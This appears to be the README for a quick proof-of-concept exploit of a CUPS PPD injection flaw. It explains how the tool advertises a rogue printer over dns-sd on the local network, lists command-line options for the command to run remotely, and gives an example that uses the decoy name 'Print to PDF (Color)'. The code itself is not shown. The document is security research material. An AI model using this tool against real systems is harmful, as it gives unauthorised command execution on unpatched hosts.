针对近期 CUPS 漏洞的快速概念验证(PoC)。我原本打算做更多整理工作,但 embargo 解除的时间比预期早得多,所以代码写得有些仓促。
至于所有技术细节,说实话你应该直接阅读 Evilsocket 的分析文章。
该漏洞利用是在发现公开 OpenPrinting CUPS 仓库中的这个提交之后编写的。可能还有更简洁的注入点。
这个 PoC 使用 dns-sd 打印机发现机制,因此目标必须能够接收到广播消息,即攻击者和目标需要在同一网络中。
该漏洞利用使用 zeroconf 和 ippserver,两者均可通过 pip 安装。
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
例如:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3